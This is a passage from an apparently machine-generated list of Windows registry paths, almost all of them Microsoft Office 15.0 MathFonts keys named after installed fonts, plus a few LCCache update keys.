  1743. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Baskerville Old Face",
  1744. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Batang",
  1745. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\BatangChe",
  1746. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Bauhaus 93",
  1747. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Bell MT",
  1748. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Berlin Sans FB",
  1749. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Berlin Sans FB Demi",
  1750. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Bernard MT Condensed",
  1751. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Blackadder ITC",
  1752. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Bodoni MT",
  1753. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Bodoni MT Black",
  1754. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Bodoni MT Condensed",
  1755. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Bodoni MT Poster Compressed",
  1756. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Book Antiqua",
  1757. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Bookman Old Style",
  1758. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Bookshelf Symbol 7",
  1759. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Bradley Hand ITC",
  1760. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Britannic Bold",
  1761. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Broadway",
  1762. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Browallia New",
  1763. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\BrowalliaUPC",
  1764. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Brush Script MT",
  1765. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Calibri",
  1766. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Calibri Light",
  1767. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Californian FB",
  1768. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Calisto MT",
  1769. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Cambria",
  1770. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Cambria Math",
  1771. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Candara",
  1772. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Castellar",
  1773. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Centaur",
  1774. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Century",
  1775. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Century Gothic",
  1776. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Century Schoolbook",
  1777. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Chiller",
  1778. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Colonna MT",
  1779. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Comic Sans MS",
  1780. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Consolas",
  1781. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Constantia",
  1782. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Cooper Black",
  1783. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Copperplate Gothic Bold",
  1784. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Copperplate Gothic Light",
  1785. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Corbel",
  1786. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Cordia New",
  1787. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\CordiaUPC",
  1788. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Courier New",
  1789. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Curlz MT",
  1790. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\DaunPenh",
  1791. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\David",
  1792. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\DFKai-SB",
  1793. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\DilleniaUPC",
  1794. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\DokChampa",
  1795. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Dotum",
  1796. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\DotumChe",
  1797. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Ebrima",
  1798. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Edwardian Script ITC",
  1799. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Elephant",
  1800. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Engravers MT",
  1801. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Eras Bold ITC",
  1802. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Eras Demi ITC",
  1803. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Eras Light ITC",
  1804. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Eras Medium ITC",
  1805. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Estrangelo Edessa",
  1806. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\EucrosiaUPC",
  1807. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Euphemia",
  1808. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\FangSong",
  1809. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Felix Titling",
  1810. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Footlight MT Light",
  1811. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Forte",
  1812. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Franklin Gothic Book",
  1813. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Franklin Gothic Demi",
  1814. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Franklin Gothic Demi Cond",
  1815. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Franklin Gothic Heavy",
  1816. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Franklin Gothic Medium",
  1817. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Franklin Gothic Medium Cond",
  1818. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\FrankRuehl",
  1819. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\FreesiaUPC",
  1820. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Freestyle Script",
  1821. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\French Script MT",
  1822. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Gabriola",
  1823. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Gadugi",
  1824. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Garamond",
  1825. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Gautami",
  1826. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Georgia",
  1827. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Gigi",
  1828. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Gill Sans MT",
  1829. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Gill Sans MT Condensed",
  1830. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Gill Sans MT Ext Condensed Bold",
  1831. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Gill Sans Ultra Bold",
  1832. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Gill Sans Ultra Bold Condensed",
  1833. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Gisha",
  1834. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Gloucester MT Extra Condensed",
  1835. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Goudy Old Style",
  1836. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Goudy Stout",
  1837. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Gulim",
  1838. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\GulimChe",
  1839. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Gungsuh",
  1840. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\GungsuhChe",
  1841. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Haettenschweiler",
  1842. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Harlow Solid Italic",
  1843. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Harrington",
  1844. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\High Tower Text",
  1845. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Impact",
  1846. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Imprint MT Shadow",
  1847. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Informal Roman",
  1848. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\IrisUPC",
  1849. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Iskoola Pota",
  1850. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\JasmineUPC",
  1851. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Jokerman",
  1852. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Juice ITC",
  1853. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\KaiTi",
  1854. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Kalinga",
  1855. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Kartika",
  1856. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Khmer UI",
  1857. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\KodchiangUPC",
  1858. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Kokila",
  1859. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Kristen ITC",
  1860. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Kunstler Script",
  1861. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Lao UI",
  1862. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Latha",
  1863. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Leelawadee",
  1864. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Levenim MT",
  1865. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\LilyUPC",
  1866. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Lucida Bright",
  1867. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Lucida Calligraphy",
  1868. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Lucida Console",
  1869. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Lucida Fax",
  1870. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Lucida Handwriting",
  1871. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Lucida Sans",
  1872. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Lucida Sans Typewriter",
  1873. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Lucida Sans Unicode",
  1874. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Magneto",
  1875. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Maiandra GD",
  1876. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Malgun Gothic",
  1877. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Mangal",
  1878. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Marlett",
  1879. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Matura MT Script Capitals",
  1880. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Meiryo",
  1881. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Meiryo UI",
  1882. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Microsoft Himalaya",
  1883. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Microsoft JhengHei",
  1884. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Microsoft JhengHei UI",
  1885. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Microsoft New Tai Lue",
  1886. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Microsoft PhagsPa",
  1887. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Microsoft Sans Serif",
  1888. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Microsoft Tai Le",
  1889. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Microsoft Uighur",
  1890. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Microsoft YaHei",
  1891. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Microsoft YaHei UI",
  1892. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Microsoft Yi Baiti",
  1893. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\MingLiU",
  1894. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\MingLiU_HKSCS",
  1895. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\MingLiU_HKSCS-ExtB",
  1896. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\MingLiU-ExtB",
  1897. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Miriam",
  1898. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Miriam Fixed",
  1899. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Mistral",
  1900. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Modern No. 20",
  1901. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Mongolian Baiti",
  1902. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Monotype Corsiva",
  1903. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\MoolBoran",
  1904. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\MS Gothic",
  1905. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\MS Mincho",
  1906. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\MS Outlook",
  1907. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\MS PGothic",
  1908. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\MS PMincho",
  1909. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\MS Reference Sans Serif",
  1910. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\MS Reference Specialty",
  1911. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\MS UI Gothic",
  1912. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\MT Extra",
  1913. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\MV Boli",
  1914. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Narkisim",
  1915. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Niagara Engraved",
  1916. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Niagara Solid",
  1917. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Nirmala UI",
  1918. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\NSimSun",
  1919. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Nyala",
  1920. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\OCR A Extended",
  1921. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Old English Text MT",
  1922. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Onyx",
  1923. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Palace Script MT",
  1924. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Palatino Linotype",
  1925. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Papyrus",
  1926. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Parchment",
  1927. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Perpetua",
  1928. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Perpetua Titling MT",
  1929. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Plantagenet Cherokee",
  1930. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Playbill",
  1931. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\PMingLiU",
  1932. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\PMingLiU-ExtB",
  1933. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Poor Richard",
  1934. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Pristina",
  1935. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Raavi",
  1936. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Rage Italic",
  1937. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Ravie",
  1938. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Rockwell",
  1939. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Rockwell Condensed",
  1940. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Rockwell Extra Bold",
  1941. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Rod",
  1942. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Sakkal Majalla",
  1943. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Script MT Bold",
  1944. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Segoe Print",
  1945. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Segoe Script",
  1946. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Segoe UI",
  1947. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Segoe UI Light",
  1948. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Segoe UI Semibold",
  1949. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Segoe UI Semilight",
  1950. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Segoe UI Symbol",
  1951. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Shonar Bangla",
  1952. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Showcard Gothic",
  1953. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Shruti",
  1954. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\SimHei",
  1955. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Simplified Arabic",
  1956. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Simplified Arabic Fixed",
  1957. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\SimSun",
  1958. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\SimSun-ExtB",
  1959. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Snap ITC",
  1960. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Stencil",
  1961. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Sylfaen",
  1962. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Symbol",
  1963. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Tahoma",
  1964. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Tempus Sans ITC",
  1965. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Times New Roman",
  1966. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Traditional Arabic",
  1967. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Trebuchet MS",
  1968. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Tunga",
  1969. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Tw Cen MT",
  1970. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Tw Cen MT Condensed",
  1971. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Tw Cen MT Condensed Extra Bold",
  1972. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Utsaah",
  1973. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Vani",
  1974. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Verdana",
  1975. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Vijaya",
  1976. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Viner Hand ITC",
  1977. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Vivaldi",
  1978. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Vladimir Script",
  1979. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Vrinda",
  1980. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Webdings",
  1981. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Wide Latin",
  1982. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Wingdings",
  1983. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Wingdings 2",
  1984. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Wingdings 3",
  1985. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocBibs\\1033\\NextUpdate",
  1986. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocBibs\\1033\\LastUpdate",
  1987. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\NextUpdate",
  1988. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\LastUpdate",
  1989. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\NextUpdate",
  1990. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\LastUpdate",
